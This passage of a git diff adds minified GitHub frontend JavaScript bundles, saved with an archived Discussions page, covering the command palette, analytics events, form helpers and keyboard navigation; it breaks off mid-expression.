d=a(4220),_=a(39200),m=a(98810),r=Object.defineProperty,l=Object.getOwnPropertyDescriptor,s=f((i,c,n,t)=>{for(var p=t>1?void 0:t?l(c,n):c,u=i.length-1,E;u>=0;u--)(E=i[u])&&(p=(t?E(c,n,p):E(p))||p);return t&&p&&r(c,n,p),p},"__decorateClass");let o=f(class extends m.s{static create(i){let c,n;const t=[...i.scope.tokens];for(;t.length>0&&!this.searchableScopeTypes.includes(t[t.length-1].type);)t.pop();let p;if(t.length>0?p=t[t.length-1]:p=void 0,p&&p.type==="repository"){const u=t.map(E=>E.text).join("/");c=`in ${u}`,n=`/${u}/search?q=${i.text}`}else if(p&&p.type==="owner"){const u=`org:${p.text} ${i.text}`;c=`in ${p.text}`,n=`/search?q=${u}`}else c="across all of GitHub",n=`/search?q=${i.text}`;return new o({title:`Search ${i.text}${c}`,typeahead:"",priority:-10,score:-10,group:_.O.footerGroupId,action:{type:"jump_to",description:"",path:n},icon:{type:"octicon",id:"search-color-fg-muted"},titleScope:c})}constructor(i){super(i);this.titleScope=i.titleScope}autocomplete(i){}calculateScore(i){return 0}},"SearchLinkItem");o.searchableScopeTypes=["owner","repository"],o=s([d.O],o)},4220:(y,v,a)=>{a.d(v,{O:()=>m,g:()=>l});var d=a(33241),_=a(39200);function m(s){l.register(s)}f(m,"serverDefinedItem");const r=f(class extends d.ck{constructor(s){super(s);this.position="",this.score=s.score,this.scope=s.scope,this.matchFields=s.match_fields,this._action=s.action}static register(s){this.itemClasses[s.itemType]=s}static get itemType(){return this.buildItemType(this.name)}static buildItemType(s){return s.replace(/([A-Z]($|[a-z]))/g,"_$1").replace(/(^_|_Item$)/g,"").toLowerCase()}static build(s){const o=this.itemClasses[s.action.type];if(o)return new o(s);throw new Error(`No item handler for ${s.action.type}`)}get action(){return this._action}get key(){return`${this.action.type}/${this.title}/${this.group}`}get path(){return this.action.path||""}get itemType(){return r.buildItemType(this.constructor.name)}select(s){this.scope?s.setScope(this.scope):s.autocomplete(this)}activate(s,o){}activateLinkBehavior(s,o,i){var c;(c=this.element)==null||c.activateLinkBehavior(s,o,i)}copy(s){}copyToClipboardAndAnnounce(s,o){var i;(i=this.element)==null||i.copyToClipboardAndAnnounce(s,o)}},"_ServerDefinedItem");let l=r;l.itemClasses={},l.defaultData={title:"",score:1,priority:1,action:{type:"",path:""},icon:{type:"octicon",id:"dash-color-fg-muted"},group:_.O.defaultGroupId}},85678:(y,v,a)=>{a.d(v,{j:()=>d});class d{constructor(m){this.title=m.title,this.scopeId=m.scopeId,this.scopeType=m.scopeType}get providers(){const m=[];for(const r of this._providerElements)r.provider&&m.push(r.provider);return m}get _providerElements(){return[...this.serverDefinedProviderElements,...this.clientDefinedProviderElements]}get serverDefinedProviderElements(){const m=document.querySelectorAll("server-defined-provider");return Array.from(m)}get clientDefinedProviderElements(){const m=document.querySelectorAll("client-defined-provider");return Array.from(m)}}f(d,"GlobalProvidersPage")},23207:(y,v,a)=>{a.d(v,{b:()=>d});class d extends HTMLElement{async fetchWithDebounce(m,r){return this.provider?(this._lastFetchQuery=m,await this.delay(this.provider.debounce),this._lastFetchQuery!==m?{results:[]}:this.provider.fetch(m,r)):{results:[]}}delay(m){return new Promise(r=>setTimeout(r,m))}}f(d,"ProviderElement")},78078:(y,v,a)=>{a.d(v,{B:()=>_});var d=a(33241);class _ extends d.BX{fuzzyFilter(r,l,s=0){if(l.isBlank())return r;const o=[];for(const i of r)i.calculateScore(l.text)>s&&o.push(i);return o}}f(_,"ProviderBase")},78584:(y,v,a)=>{a.d(v,{j:()=>_});var d=a(78078);class _ extends d.B{constructor(r){super();this.element=r}get type(){return this.element.type}get modes(){return this.element.modes}get debounce(){return this.element.debounce}get scopeTypes(){return this.element.scopeTypes}get src(){return this.element.src}get hasWildCard(){return this.element.hasWildCard}get hasCommands(){return this.element.hasCommands}fetch(r,l){throw new Error("Method not implemented.")}enabledFor(r){throw new Error("Method not implemented.")}clearCache(){throw new Error("Method not implemented.")}}f(_,"ServerDefinedProvider")},80829:(y,v,a)=>{a.d(v,{A:()=>_});var d=a(47779);class _{constructor(r,l,{scope:s,subjectId:o,subjectType:i,returnTo:c}={}){this.queryText=r,this.queryMode=l,this.scope=s!=null?s:d.v.emptyScope,this.subjectId=o,this.subjectType=i,this.returnTo=c}get text(){return this.queryText}get mode(){return this.queryMode}get path(){return this.buildPath(this)}buildPath(r,l=r.text){return`scope:${r.scope.type}-${r.scope.id}/mode:${r.mode}/query:${l}`}clearScope(){this.scope=d.v.emptyScope}hasScope(){return this.scope.id!==d.v.emptyScope.id}isBlank(){return this.text.trim().length===0}isPresent(){return!this.isBlank()}immutableCopy(){const r=this.text,l=this.mode,s={...this.scope};return new _(r,l,{scope:s,subjectId:this.subjectId,subjectType:this.subjectType,returnTo:this.returnTo})}hasSameScope(r){return this.scope.id===r.scope.id}params(){const r=new URLSearchParams;return this.isPresent()&&r.set("q",this.text),this.hasScope()&&r.set("scope",this.scope.id),this.mode&&r.set("mode",this.mode),this.returnTo&&r.set("return_to",this.returnTo),this.subjectId&&r.set("subject",this.subjectId),r}}f(_,"Query")},72017:(y,v,a)=>{a.d(v,{j:()=>i});var d=a(81072),_=a(68313),m=a(96753),r=a(98810),l=a(77417),s=a(4220),o=a(30481);function i(n,t){const p=document.querySelector("command-palette");let u="";t&&(t.group==="commands"||t.group==="global_commands")&&(u=t.title);const E={command_palette_session_id:p.sessionId,command_palette_scope:p.query.scope.type,command_palette_mode:p.getMode(),command_palette_title:u,command_palette_position:t==null?void 0:t.position,command_palette_score:t==null?void 0:t.score,command_palette_group:t==null?void 0:t.group,command_palette_item_type:t instanceof s.g?t==null?void 0:t.itemType:t==null?void 0:t.constructor.name};let O;n==="activate"?O=c(t):O=n,(0,o.q)(`command_palette_${O}`,E)}f(i,"sendTrackingEvent");function c(n){var t;return n instanceof d.i?"access_policy_executed":n instanceof _.d||n instanceof l.U||n instanceof m.Z?"command_executed":n instanceof r.s?((t=n.element)==null?void 0:t.newTabOpened)?"jump_to_new_tab":"jump_to":"activate"}f(c,"activateTrackingEventType")},49815:(y,v,a)=>{a.d(v,{$:()=>s,c:()=>r});var d=a(15205);const _=(0,d.Z)(m);function m(){var o,i;return(((i=(o=document.head)==null?void 0:o.querySelector('meta[name="enabled-features"]'))==null?void 0:i.content)||"").split(",")}f(m,"enabledFeatures");const r=(0,d.Z)(l);function l(o){return _().indexOf(o)!==-1}f(l,"isEnabled");const s={isFeatureEnabled:r}},30481:(y,v,a)=>{a.d(v,{Y:()=>o,q:()=>i});var d=a(88149),_=a(86058);const m="dimension_";let r;const l=["utm_source","utm_medium","utm_campaign","utm_term","utm_content","scid"];try{const c=(0,d.n)("octolytics");delete c.baseContext,r=new _.R(c)}catch{}function s(c){const n=(0,d.n)("octolytics").baseContext||{};if(n){delete n.app_id,delete n.event_url,delete n.host;for(const u in n)u.startsWith(m)&&(n[u.replace(m,"")]=n[u],delete n[u])}const t=document.querySelector("meta[name=visitor-payload]");if(t){const u=JSON.parse(atob(t.content));Object.assign(n,u)}const p=new URLSearchParams(window.location.search);for(const[u,E]of p)l.includes(u.toLowerCase())&&(n[u]=E);return Object.assign(n,c)}f(s,"extendBaseContext");function o(c){r==null||r.sendPageView(s(c))}f(o,"sendPageView");function i(c,n){var t,p;const u=(p=(t=document.head)==null?void 0:t.querySelector('meta[name="current-catalog-service"]'))==null?void 0:p.content,E=u?{service:u}:{};for(const[O,M]of Object.entries(n))M!=null&&(E[O]=`${M}`);r==null||r.sendEvent(c||"unknown",s(E))}f(i,"sendEvent")},88513:(y,v,a)=>{a.d(v,{Q:()=>d,v:()=>_});function d(m,r={}){if(m.match(/^https?:/))throw new Error("Can not make cross-origin requests from verifiedFetch");const l={...r.headers,"GitHub-Verified-Fetch":"true","X-Requested-With":"XMLHttpRequest"};return fetch(m,{...r,headers:l})}f(d,"verifiedFetch");function _(m,r){var l;const o={...(l=r==null?void 0:r.headers)!=null?l:{},Accept:"application/json","Content-Type":"application/json"},i=(r==null?void 0:r.body)?JSON.stringify(r.body):void 0;return d(m,{...r,body:i,headers:o})}f(_,"verifiedFetchJSON")}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd-a2f1fe6aff70.js.map \ No newline at end of file diff --git a/archive/Discussions · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js new file mode 100644 index 0000000..ce79225 --- /dev/null +++ b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var $=Object.defineProperty;var n=(j,y)=>$(j,"name",{value:y,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_form_ts-app_assets_modules_github_navigation_ts"],{7679:(j,y,h)=>{h.d(y,{H:()=>c,v:()=>p});var E=h(59753);function p(){const s=document.getElementById("ajax-error-message");s&&(s.hidden=!1)}n(p,"showGlobalError");function c(){const s=document.getElementById("ajax-error-message");s&&(s.hidden=!0)}n(c,"hideGlobalError"),(0,E.on)("deprecatedAjaxError","[data-remote]",function(s){const f=s.detail,{error:L,text:m}=f;s.currentTarget===s.target&&(L==="abort"||L==="canceled"||(/{h.d(y,{Ty:()=>p,YE:()=>c,Zf:()=>s});var E=h(11793);const p=n(()=>{const f=document.querySelector("meta[name=keyboard-shortcuts-preference]");return f?f.content==="all":!0},"areCharacterKeyShortcutsEnabled"),c=n(f=>/Enter|Arrow|Escape|Meta|Control|Esc/.test(f)||f.includes("Alt")&&f.includes("Shift"),"isNonCharacterKeyShortcut"),s=n(f=>{const L=(0,E.EL)(f);return p()?!0:c(L)},"isShortcutAllowed")},75371:(j,y,h)=>{h.d(y,{VZ:()=>p,_C:()=>c,cv:()=>E,oE:()=>s});function E(m){const a=m.getBoundingClientRect();return{top:a.top+window.pageYOffset,left:a.left+window.pageXOffset}}n(E,"offset");function p(m){let a=m;const l=a.ownerDocument;if(!l||!a.offsetParent)return;const g=l.defaultView.HTMLElement;if(a!==l.body){for(;a!==l.body;){if(a.parentElement instanceof g)a=a.parentElement;else return;const{position:C,overflowY:T,overflowX:r}=getComputedStyle(a);if(C==="fixed"||T==="auto"||r==="auto"||T==="scroll"||r==="scroll")break}return a instanceof Document?null:a}}n(p,"overflowParent");function c(m,a){let l=a;const g=m.ownerDocument;if(!g)return;const C=g.documentElement;if(!C||m===C)return;const T=s(m,l);if(!T)return;l=T._container;const r=l===g.documentElement&&g.defaultView?{top:g.defaultView.pageYOffset,left:g.defaultView.pageXOffset}:{top:l.scrollTop,left:l.scrollLeft},d=T.top-r.top,v=T.left-r.left,w=l.clientHeight,k=l.clientWidth,H=w-(d+m.offsetHeight),P=k-(v+m.offsetWidth);return{top:d,left:v,bottom:H,right:P,height:w,width:k}}n(c,"overflowOffset");function s(m,a){let l=m;const g=l.ownerDocument;if(!g)return;const C=g.documentElement;if(!C)return;const T=g.defaultView.HTMLElement;let r=0,d=0;const v=l.offsetHeight,w=l.offsetWidth;for(;!(l===g.body||l===a);)if(r+=l.offsetTop||0,d+=l.offsetLeft||0,l.offsetParent instanceof T)l=l.offsetParent;else return;let k,H,P;if(!a||a===g||a===g.defaultView||a===g.documentElement||a===g.body)P=C,k=f(g.body,C),H=L(g.body,C);else if(a instanceof T)P=a,k=a.scrollHeight,H=a.scrollWidth;else return;const x=k-(r+v),S=H-(d+w);return{top:r,left:d,bottom:x,right:S,_container:P}}n(s,"positionedOffset");function f(m,a){return Math.max(m.scrollHeight,a.scrollHeight,m.offsetHeight,a.offsetHeight,a.clientHeight)}n(f,"getDocumentHeight");function L(m,a){return Math.max(m.scrollWidth,a.scrollWidth,m.offsetWidth,a.offsetWidth,a.clientWidth)}n(L,"getDocumentWidth")},56238:(j,y,h)=>{h.d(y,{Bt:()=>f,DN:()=>a,KL:()=>C,Se:()=>m,qC:()=>T,sw:()=>l});var E=h(59753),p=h(2061),c=h(7679);(0,E.on)("click",".js-remote-submit-button",async function(r){const v=r.currentTarget.form;r.preventDefault();let w;try{w=await fetch(v.action,{method:v.method,body:new FormData(v),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}w&&!w.ok&&(0,c.v)()});function s(r,d,v){return r.dispatchEvent(new CustomEvent(d,{bubbles:!0,cancelable:v}))}n(s,"fire");function f(r,d){d&&(L(r,d),(0,p.j)(d)),s(r,"submit",!0)&&r.submit()}n(f,"requestSubmit");function L(r,d){if(!(r instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(d instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(d.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!r||r!==d.form)throw new Error("The specified element is not owned by the form element.")}n(L,"checkButtonValidity");function m(r,d){if(typeof d=="boolean")if(r instanceof HTMLInputElement)r.checked=d;else throw new TypeError("only checkboxes can be set to boolean value");else{if(r.type==="checkbox")throw new TypeError("checkbox can't be set to string value");r.value=d}s(r,"change",!1)}n(m,"changeValue");function a(r,d){for(const v in d){const w=d[v],k=r.elements.namedItem(v);(k instanceof HTMLInputElement||k instanceof HTMLTextAreaElement)&&(k.value=w)}}n(a,"fillFormValues");function l(r){if(!(r instanceof HTMLElement))return!1;const d=r.nodeName.toLowerCase(),v=(r.getAttribute("type")||"").toLowerCase();return d==="select"||d==="textarea"||d==="input"&&v!=="submit"&&v!=="reset"||r.isContentEditable}n(l,"isFormField");function g(r){return new URLSearchParams(r)}n(g,"searchParamsFromFormData");function C(r,d){const v=new URLSearchParams(r.search),w=g(d);for(const[k,H]of w)v.append(k,H);return v.toString()}n(C,"combineGetFormSearchParams");function T(r){return g(new FormData(r)).toString()}n(T,"serialize")},32750:(j,y,h)=>{h.d(y,{QZ:()=>P,ZH:()=>V,jK:()=>x,T_:()=>F,Sw:()=>X,VF:()=>U,VH:()=>Y});var E=h(6741),p=h(59753),c=h(75371),s=h(11793),f=h(5287),L=h(64463);function m(e,t){let i=e;const o=e.ownerDocument;(i===o||i===o.defaultView||i===o.documentElement||i===o.body)&&(i=o);const u=o.defaultView.Document;if(i instanceof u){const M=t.top!=null?t.top:o.defaultView.pageYOffset,B=t.left!=null?t.left:o.defaultView.pageXOffset;o.defaultView.scrollTo(B,M);return}const b=o.defaultView.HTMLElement;if(!(i instanceof b))throw new Error("invariant");i.scrollTop=t.top,t.left!=null&&(i.scrollLeft=t.left)}n(m,"scrollTo");var a=h(5878);const l=navigator.userAgent.match(/Macintosh/),g=l?"metaKey":"ctrlKey",C=l?"Meta":"Control";let T=!1,r={x:0,y:0};(0,L.N7)(".js-navigation-container:not(.js-navigation-container-no-mouse)",{subscribe:e=>(0,E.qC)((0,E.RB)(e,"mouseover",d),(0,E.RB)(e,"mouseover",v))});function d(e){e instanceof MouseEvent&&((r.x!==e.clientX||r.y!==e.clientY)&&(T=!1),r={x:e.clientX,y:e.clientY})}n(d,"onContainerMouseMove");function v(e){if(T)return;const t=e.currentTarget,{target:i}=e;if(!(i instanceof Element)||!(t instanceof HTMLElement)||!t.closest(".js-active-navigation-container"))return;const o=i.closest(".js-navigation-item");o&&_(o,t)}n(v,"onContainerMouseOver");let w=0;(0,L.N7)(".js-active-navigation-container",{add(){w++,w===1&&document.addEventListener("keydown",k)},remove(){w--,w===0&&document.removeEventListener("keydown",k)}});function k(e){if(e.target!==document.body&&e.target instanceof HTMLElement&&!e.target.classList.contains("js-navigation-enable"))return;T=!0;const t=I();let i=!1;if(t){const o=t.querySelector(".js-navigation-item.navigation-focus")||t;i=(0,p.f)(o,"navigation:keydown",{hotkey:(0,s.EL)(e),originalEvent:e,originalTarget:e.target})}i||e.preventDefault()}n(k,"fireCustomKeydown"),(0,p.on)("navigation:keydown",".js-active-navigation-container",function(e){const t=e.currentTarget,i=e.detail.originalTarget.matches("input, textarea"),o=e.target;if(!!(0,f.Zf)(e.detail.originalEvent)){if(o.classList.contains("js-navigation-item"))if(i){if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":O(o,t);break;case"Control+p":A(o,t)}switch((0,s.EL)(e.detail.originalEvent)){case"ArrowUp":A(o,t);break;case"ArrowDown":O(o,t);break;case"Enter":case`${C}+Enter`:R(o,e.detail.originalEvent[g]);break}}else{if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":O(o,t);break;case"Control+p":A(o,t);break;case"Alt+v":G(o,t);break;case"Control+v":N(o,t)}switch((0,s.EL)(e.detail.originalEvent)){case"j":case"J":O(o,t);break;case"k":case"K":A(o,t);break;case"o":case"Enter":case`${C}+Enter`:R(o,e.detail[g]);break}}else{const u=D(t)[0];if(u)if(i){if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":_(u,t)}switch((0,s.EL)(e.detail.originalEvent)){case"ArrowDown":_(u,t)}}else{if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":case"Control+v":_(u,t)}switch((0,s.EL)(e.detail.originalEvent)){case"j":_(u,t)}}}if(i){if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":case"Control+p":e.preventDefault()}switch((0,s.EL)(e.detail.originalEvent)){case"ArrowUp":case"ArrowDown":e.preventDefault();break;case"Enter":e.preventDefault()}}else{if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":case"Control+p":case"Control+v":case"Alt+v":e.preventDefault()}switch((0,s.EL)(e.detail.originalEvent)){case"j":case"k":case"o":e.preventDefault();break;case"Enter":case`${g}+Enter`:e.preventDefault()}}}});function H(e){const t=e.modifierKey||e.altKey||e.ctrlKey||e.metaKey;(0,p.f)(e.currentTarget,"navigation:open",{modifierKey:t,shiftKey:e.shiftKey})||e.preventDefault()}n(H,"fireOpen"),(0,p.on)("click",".js-active-navigation-container .js-navigation-item",function(e){H(e)}),(0,p.on)("navigation:keyopen",".js-active-navigation-container .js-navigation-item",function(e){const t=e.currentTarget.classList.contains("js-navigation-open")?e.currentTarget:e.currentTarget.querySelector(".js-navigation-open");t instanceof HTMLAnchorElement?(e.detail.modifierKey?(window.open(t.href,"_blank"),window.focus()):t.dispatchEvent(new MouseEvent("click",{bubbles:!0,cancelable:!0}))&&t.click(),e.preventDefault()):H(e)});function P(e){const t=I();e!==t&&(t!==null&&x(t),e==null||e.classList.add("js-active-navigation-container"))}n(P,"activate");function x(e){e.classList.remove("js-active-navigation-container")}n(x,"deactivate");const S=[];function U(e){const t=I();t&&S.push(t),P(e)}n(U,"push");function X(e){x(e),V(e);const t=S.pop();t&&P(t)}n(X,"pop");function F(e,t){const i=t||e,o=D(e)[0],u=i.closest(".js-navigation-item")||o;if(P(e),u instanceof HTMLElement){if(_(u,e))return;const M=(0,c.VZ)(u);W(M,u)}}n(F,"navigation_focus");function V(e){const t=e.querySelectorAll(".js-navigation-item.navigation-focus");for(const i of t)i.classList.remove("navigation-focus")}n(V,"clear");function Y(e,t){V(e),F(e,t)}n(Y,"refocus");function A(e,t){const i=D(t),o=i.indexOf(e),u=i[o-1];if(u){if(_(u,t))return;const M=(0,c.VZ)(u);Z(t)==="page"?K(M,u):W(M,u)}}n(A,"cursorUp");function O(e,t){const i=D(t),o=i.indexOf(e),u=i[o+1];if(u){if(_(u,t))return;const M=(0,c.VZ)(u);Z(t)==="page"?K(M,u):W(M,u)}}n(O,"cursorDown");function G(e,t){const i=D(t);let o=i.indexOf(e);const u=(0,c.VZ)(e);if(u==null)return;let b,M;for(;(b=i[o-1])&&(M=(0,c._C)(b,u))&&M.top>=0;)o--;if(b){if(_(b,t))return;K(u,b)}}n(G,"pageUp");function N(e,t){const i=D(t);let o=i.indexOf(e);const u=(0,c.VZ)(e);if(u==null)return;let b,M;for(;(b=i[o+1])&&(M=(0,c._C)(b,u))&&M.bottom>=0;)o++;if(b){if(_(b,t))return;K(u,b)}}n(N,"pageDown");function R(e,t=!1){(0,p.f)(e,"navigation:keyopen",{modifierKey:t})}n(R,"keyOpen");function _(e,t){return(0,p.f)(e,"navigation:focus")?(V(t),e.classList.add("navigation-focus"),!1):!0}n(_,"focusItem");function I(){return document.querySelector(".js-active-navigation-container")}n(I,"getActiveContainer");function D(e){const t=[];for(const i of e.querySelectorAll(".js-navigation-item"))i instanceof HTMLElement&&(0,a.Z)(i)&&t.push(i);return t}n(D,"getItems");function Z(e){return e.getAttribute("data-navigation-scroll")||"item"}n(Z,"getScrollStyle");function K(e,t,i="smooth"){const o=(0,c._C)(t,e);!o||(o.bottom<=0?t.scrollIntoView({behavior:i,block:"start"}):o.top<=0&&t.scrollIntoView({behavior:i,block:"end"}))}n(K,"scrollPageTo");function W(e,t){const i=(0,c.oE)(t,e),o=(0,c._C)(t,e);if(!(i==null||o==null))if(o.bottom<=0&&document.body){const b=(e.offsetParent!=null?e.scrollHeight:document.body.scrollHeight)-(i.bottom+o.height);m(e,{top:b})}else o.top<=0&&m(e,{top:i.top})}n(W,"scrollItemTo")},2061:(j,y,h)=>{h.d(y,{j:()=>E,u:()=>p});function E(c){const s=c.closest("form");if(!(s instanceof HTMLFormElement))return;let f=p(s);if(c.name){const L=c.matches("input[type=submit]")?"Submit":"",m=c.value||L;f||(f=document.createElement("input"),f.type="hidden",f.classList.add("is-submit-button-value"),s.prepend(f)),f.name=c.name,f.value=m}else f&&f.remove()}n(E,"persistSubmitButtonValue");function p(c){const s=c.querySelector("input.is-submit-button-value");return s instanceof HTMLInputElement?s:null}n(p,"findPersistedSubmitButtonValue")},6741:(j,y,h)=>{h.d(y,{RB:()=>p,qC:()=>c,w0:()=>E});class E{constructor(f){this.closed=!1,this.unsubscribe=()=>{f(),this.closed=!0}}}n(E,"Subscription");function p(s,f,L,m={capture:!1}){return s.addEventListener(f,L,m),new E(()=>{s.removeEventListener(f,L,m)})}n(p,"fromEvent");function c(...s){return new E(()=>{for(const f of s)f.unsubscribe()})}n(c,"compose")},5878:(j,y,h)=>{h.d(y,{Z:()=>p});function E(c){return c.offsetWidth<=0&&c.offsetHeight<=0}n(E,"hidden");function p(c){return!E(c)}n(p,"visible")}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_form_ts-app_assets_modules_github_navigation_ts-e498b20a5640.js.map \ No newline at end of file diff --git a/archive/Discussions · Ta180m_Idiot-Code-Golf_files/behaviors-e63ae3d23c5f.js b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/behaviors-e63ae3d23c5f.js new file mode 100644 index 0000000..6148e19 --- /dev/null +++ b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/behaviors-e63ae3d23c5f.js @@ -0,0 +1,101 @@ +(()=>{var Jl=Object.defineProperty;var s=($,D)=>Jl($,"name",{value:D,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["behaviors"],{56851:($,D,f)=>{"use strict";var T=f(7679),c=f(59753);(0,c.on)("deprecatedAjaxSend","[data-remote]",function(e){e.currentTarget===e.target&&(e.defaultPrevented||e.currentTarget.classList.add("loading"))}),(0,c.on)("deprecatedAjaxComplete","[data-remote]",function(e){e.currentTarget===e.target&&e.currentTarget.classList.remove("loading")});var C=f(65935);(0,C.AC)("form.js-ajax-pagination, .js-ajax-pagination form",async function(e,t){const n=e.closest(".js-ajax-pagination");let o;try{o=await t.html()}catch(r){if(r.response&&r.response.status===404){n.remove();return}else throw r}n.replaceWith(o.html),(0,c.f)(e,"page:loaded")});var _=f(30481);const x="analytics.click";(0,c.on)("click","[data-analytics-event]",e=>{const n=e.currentTarget.getAttribute("data-analytics-event");if(!n)return;const o=JSON.parse(n);(0,_.q)(x,o)});var u=f(64463);const g=["system","disabled"].map(e=>`html[data-a11y-animated-images="${e}"] img[data-animated-image]`).join(", ");(0,u.N7)(g,e=>{if(!(e instanceof HTMLImageElement)||e.closest("a")&&!(e.parentElement instanceof HTMLAnchorElement))return;let t=e.parentElement,n=null;if(t instanceof HTMLAnchorElement){if(t.childElementCount>1)return;n=t,n.setAttribute("data-target","animated-image.originalLink"),t=n.parentElement}e.removeAttribute("data-animated-image"),e.setAttribute("data-target","animated-image.originalImage");const o=n?n.cloneNode(!0):e.cloneNode(!0),r=document.createElement("animated-image");r.appendChild(o),t==null||t.replaceChild(r,n||e)});var h=f(22485);document.addEventListener("pjax:start",function(){(0,h.x)("Loading page")}),document.addEventListener("pjax:error",function(){(0,h.x)("Loading failed")}),document.addEventListener("pjax:end",function(){(0,h.x)("Loading complete")});var d=f(52641);const m=new WeakMap;(0,u.N7)("auto-check",function(e){if(e.classList.contains("js-prevent-default-behavior"))return;const t=e.querySelector("input");if(!t)return;const n=t.closest(".form-group")||e,o=t.form;let r;function i(){return r||(r=`input-check-${(Math.random()*1e4).toFixed(0)}`),r}s(i,"generateId");const a=t.getAttribute("aria-describedby");t.addEventListener("focusout:delay",()=>{t.setAttribute("aria-describedby",[r,a].join(" "))});const l=n.querySelector("p.note");l&&(l.id||(l.id=i()),m.set(l,l.innerHTML)),e.addEventListener("loadstart",()=>{p(t,n),n.classList.add("is-loading"),t.classList.add("is-autocheck-loading"),(0,d.G)(o)}),e.addEventListener("loadend",()=>{n.classList.remove("is-loading"),t.classList.remove("is-autocheck-loading")}),t.addEventListener("auto-check-success",async y=>{t.classList.add("is-autocheck-successful"),n.classList.add("successed"),(0,d.G)(o);const{response:w}=y.detail;if(!w)return;const S=await w.text();if(!!S){if(l instanceof HTMLElement)l.innerHTML=S,(0,h.N)(l);else{const R=w.status===200,I=n.tagName==="DL"?"dd":"div",F=document.createElement(I);F.id=i(),F.classList.add(R?"success":"warning"),F.innerHTML=S,n.append(F),n.classList.add(R?"successed":"warn"),(0,h.N)(F),R&&(F.hidden=document.activeElement!==t)}(0,c.f)(t,"auto-check-message-updated")}}),t.addEventListener("auto-check-error",async y=>{t.classList.add("is-autocheck-errored"),n.classList.add("errored"),(0,d.G)(o);const{response:w}=y.detail;if(!w)return;const S=await w.text();if(l instanceof HTMLElement)l.innerHTML=S||"Something went wrong",(0,h.N)(l);else{const R=n.tagName==="DL"?"dd":"div",I=document.createElement(R);I.id=i(),I.classList.add("error"),I.innerHTML=S||"Something went wrong",n.append(I),(0,h.N)(I)}}),t.addEventListener("input",()=>{t.removeAttribute("aria-describedby"),t.value||p(t,n)}),t.addEventListener("blur",()=>{const y=n.querySelector(".success");y&&(y.hidden=!0)}),t.addEventListener("focus",()=>{const y=n.querySelector(".success");y&&(y.hidden=!1)}),o.addEventListener("reset",()=>{p(t,n)})});function p(e,t){var n,o,r,i,a,l;t.classList.remove("is-loading","successed","errored","warn"),e.classList.remove("is-autocheck-loading","is-autocheck-successful","is-autocheck-errored");const y=t.querySelector("p.note");if(y){const w=m.get(y);w&&(y.innerHTML=w)}t.tagName==="DL"?((n=t.querySelector("dd.error"))==null||n.remove(),(o=t.querySelector("dd.warning"))==null||o.remove(),(r=t.querySelector("dd.success"))==null||r.remove()):((i=t.querySelector("div.error"))==null||i.remove(),(a=t.querySelector("div.warning"))==null||a.remove(),(l=t.querySelector("div.success"))==null||l.remove())}s(p,"autocheck_reset");var b=f(46481);(0,u.N7)("auto-complete",function(e){e.addEventListener("loadstart",()=>e.classList.add("is-auto-complete-loading")),e.addEventListener("loadend",()=>e.classList.remove("is-auto-complete-loading"))}),(0,u.N7)("auto-complete",{constructor:b.Z,initialize:v}),(0,c.on)("auto-complete-change","auto-complete",function(e){v(e.currentTarget)});function v(e){const t=e.closest("form");if(!t)return;const n=t.querySelector(".js-auto-complete-button");n instanceof HTMLButtonElement&&(n.disabled=!e.value)}s(v,"toggleSubmitButton");var L=f(56238),q=f(12981),E=f(6170);let A=null;(0,c.on)("submit","[data-autosearch-results-container]",async function(e){const t=e.currentTarget;if(!(t instanceof HTMLFormElement))return;e.preventDefault(),A==null||A.abort(),t.classList.add("is-sending");const n=new URL(t.action,window.location.origin),o=t.method,r=new FormData(t),i=(0,L.KL)(n,r);let a=null;o==="get"?n.search=i:a=r;const{signal:l}=A=new AbortController,y=new Request(n.toString(),{method:o,body:a,signal:l,headers:{Accept:"text/html","X-Requested-With":"XMLHttpRequest"}});let w;try{w=await fetch(y)}catch{}if(t.classList.remove("is-sending"),!w||!w.ok||l.aborted)return;const S=t.getAttribute("data-autosearch-results-container"),R=S?document.getElementById(S):null;R&&(R.innerHTML="",R.appendChild((0,q.r)(document,await w.text()))),(0,E.lO)(null,"",`?${i}`)});var k=f(73185),j=f(45075);(0,j.ZG)("input[data-autoselect], textarea[data-autoselect]",async function(e){await(0,k.gJ)(),e.select()});var P=f(46263),M=f(6741);(0,c.on)("change","form[data-autosubmit]",function(e){const t=e.currentTarget;(0,L.Bt)(t)}),(0,c.on)("change","input[data-autosubmit], select[data-autosubmit]",O);function O(e){const t=e.target;if(!(t instanceof HTMLInputElement)&&!(t instanceof HTMLSelectElement))return;const n=t.form;(0,L.Bt)(n)}s(O,"autosubmit_submit");const V=(0,P.D)(O,300);(0,u.N7)("input[data-throttled-autosubmit]",{subscribe:e=>(0,M.RB)(e,"input",V)});async function H(e){const t=e.getAttribute("data-url")||"";if(await N(t)){const o=e.getAttribute("data-gravatar-text");o!=null&&(e.textContent=o)}}s(H,"detectGravatar"),(0,u.N7)(".js-detect-gravatar",function(e){H(e)});async function N(e){const t=e;if(!t)return!1;try{const n=await fetch(t,{headers:{Accept:"application/json"}});return n.ok?(await n.json()).has_gravatar:!1}catch{return!1}}s(N,"fetchGravatarInfo");var K=f(51989),W=f(41307),U=f(49815),te=f(66899),le=f(5878);const ae=[".unstyled-additional-seats-price-obj",".unstyled-base-price-obj",".unstyled-final-price-obj"];function we(e){return typeof e=="string"||typeof 